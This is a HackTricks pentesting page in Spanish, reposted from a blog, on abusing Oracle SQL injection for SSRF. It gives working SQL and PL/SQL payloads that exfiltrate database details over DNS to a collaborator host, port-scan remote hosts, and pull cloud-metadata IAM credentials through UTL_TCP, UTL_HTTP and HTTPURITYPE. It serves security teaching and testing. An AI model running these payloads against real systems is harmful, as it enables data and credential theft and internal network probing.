hacktricks/pentesting-web/sql-injection/oracle-injection.md

172 lines
10 KiB
Markdown
Raw Normal View History

# Oracle injection
2023-06-05 18:33:24 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
2023-06-05 18:33:24 +00:00
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
2023-06-05 18:33:24 +00:00
**Sirva esta publicación como una copia de la máquina Wayback del post eliminado de [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
## SSRF
2023-06-05 18:33:24 +00:00
Usar Oracle para hacer solicitudes HTTP y DNS fuera de banda está bien documentado, pero como un medio para exfiltrar datos SQL en inyecciones. Siempre podemos modificar estas técnicas/funciones para hacer otros SSRF/XSPA.
Instalar Oracle puede ser realmente doloroso, especialmente si deseas configurar una instancia rápida para probar comandos. Mi amigo y colega en [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me señaló [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitió configurar una instancia en una máquina Ubuntu t2.large de AWS y Docker.
Ejecuté el comando docker con la bandera `--network="host"` para poder imitar Oracle como una instalación nativa con acceso completo a la red, durante el transcurso de esta publicación del blog.
2023-06-05 18:33:24 +00:00
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
2023-06-05 18:33:24 +00:00
```
#### Paquetes de Oracle que soportan una especificación de URL o un Nombre de Host/Número de Puerto <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
2023-06-05 18:33:24 +00:00
Con el fin de encontrar paquetes y funciones que soporten una especificación de host y puerto, realicé una búsqueda en Google en la [Documentación en Línea de Oracle Database](https://docs.oracle.com/database/121/index.html). Específicamente,
2023-06-05 18:33:24 +00:00
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
La búsqueda devolvió los siguientes resultados (no todos se pueden usar para realizar redes salientes)
2023-06-05 18:33:24 +00:00
* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
* DBMS\_XDB
* DBMS\_SCHEDULER
* DBMS\_XDB\_CONFIG
* DBMS\_AQ
* UTL\_MAIL
* DBMS\_AQELM
* DBMS\_NETWORK\_ACL\_UTILITY
* DBMS\_MGD\_ID\_UTL
* UTL\_TCP
* DBMS\_MGWADM
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
Esta búsqueda cruda obviamente omite paquetes como `DBMS_LDAP` (que permite pasar un nombre de host y un número de puerto) ya que [la página de documentación](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplemente te dirige a [una ubicación diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Por lo tanto, puede haber otros paquetes de Oracle que se pueden abusar para hacer solicitudes salientes que podría haber pasado por alto.
2023-06-05 18:33:24 +00:00
En cualquier caso, echemos un vistazo a algunos de los paquetes que hemos descubierto y enumerado arriba.
2023-06-05 18:33:24 +00:00
**DBMS\_LDAP.INIT**
El paquete `DBMS_LDAP` permite el acceso a datos desde servidores LDAP. La función `init()` inicializa una sesión con un servidor LDAP y toma un nombre de host y un número de puerto como argumento.
2023-06-05 18:33:24 +00:00
Esta función ha sido documentada anteriormente para mostrar la exfiltración de datos a través de DNS, como se muestra a continuación.
2023-06-05 18:33:24 +00:00
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
Sin embargo, dado que la función acepta un nombre de host y un número de puerto como argumentos, puedes usar esto para funcionar como un escáner de puertos también.
2023-06-05 18:33:24 +00:00
Aquí hay algunos ejemplos
2023-06-05 18:33:24 +00:00
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
Un `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` muestra que el puerto está cerrado mientras que un valor de sesión indica que el puerto está abierto.
2023-06-05 18:33:24 +00:00
**UTL\_SMTP**
2023-06-05 18:33:24 +00:00
El paquete `UTL_SMTP` está diseñado para enviar correos electrónicos a través de SMTP. El ejemplo proporcionado en el [sitio de documentación de Oracle muestra cómo puedes usar este paquete para enviar un correo electrónico](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Para nosotros, sin embargo, lo interesante es la capacidad de proporcionar una especificación de host y puerto.
2023-06-05 18:33:24 +00:00
A continuación se muestra un ejemplo rudimentario con la función `UTL_SMTP.OPEN_CONNECTION`, con un tiempo de espera de 2 segundos.
2023-06-05 18:33:24 +00:00
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
```
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
Un `ORA-29276: transfer timeout` muestra que el puerto está abierto pero no se estableció una conexión SMTP, mientras que un `ORA-29278: SMTP transient error: 421 Service not available` muestra que el puerto está cerrado.
2023-06-05 18:33:24 +00:00
**UTL\_TCP**
El paquete `UTL_TCP` y sus procedimientos y funciones permiten [comunicación basada en TCP/IP con servicios](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una forma de acceder a la red o realizar solicitudes completas del lado del servidor, ya que todos los aspectos de una conexión TCP/IP pueden ser controlados.
2023-06-05 18:33:24 +00:00
El ejemplo [en el sitio de documentación de Oracle muestra cómo puedes usar este paquete para hacer una conexión TCP en bruto para obtener una página web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificarlo un poco más y usarlo para hacer solicitudes a la instancia de metadatos, por ejemplo, o a un servicio TCP/IP arbitrario.
2023-06-05 18:33:24 +00:00
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
2023-06-05 18:33:24 +00:00
DECLARE c utl_tcp.connection;
retval pls_integer;
2023-06-05 18:33:24 +00:00
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
2023-06-05 18:33:24 +00:00
END;
/
```
2023-06-05 18:33:24 +00:00
```
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
2023-06-05 18:33:24 +00:00
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
2023-06-05 18:33:24 +00:00
END;
```
Interesantemente, debido a la capacidad de crear solicitudes TCP en bruto, este paquete también se puede utilizar para consultar el servicio de metadatos de la instancia de todos los proveedores de nube, ya que el tipo de método y los encabezados adicionales se pueden pasar dentro de la solicitud TCP.
**UTL\_HTTP y Solicitudes Web**
2023-06-05 18:33:24 +00:00
Quizás la técnica más común y ampliamente documentada en cada tutorial de Inyección SQL Oracle Fuera de Banda es el [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Este paquete está definido por la documentación como - `El paquete UTL_HTTP realiza llamadas del Protocolo de Transferencia de Hipertexto (HTTP) desde SQL y PL/SQL. Puedes usarlo para acceder a datos en Internet a través de HTTP.`
2023-06-05 18:33:24 +00:00
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
También podrías usar esto para realizar un escaneo de puertos rudimentario con consultas como
2023-06-05 18:33:24 +00:00
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
Un `ORA-12541: TNS:no listener` o un `TNS:operation timed out` es una señal de que el puerto TCP está cerrado, mientras que un `ORA-29263: HTTP protocol error` o datos son una señal de que el puerto está abierto.
2023-06-05 18:33:24 +00:00
Otro paquete que he utilizado en el pasado con éxito variado es el [`GETCLOB()` método del tipo abstracto `HTTPURITYPE` de Oracle](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) que permite interactuar con una URL y proporciona soporte para el protocolo HTTP. El método `GETCLOB()` se utiliza para obtener la respuesta GET de una URL como un [tipo de dato CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
2023-06-05 18:33:24 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 18:33:24 +00:00
<details>
<summary>Support HackTricks</summary>
2023-06-05 18:33:24 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2023-06-05 18:33:24 +00:00
</details>
{% endhint %}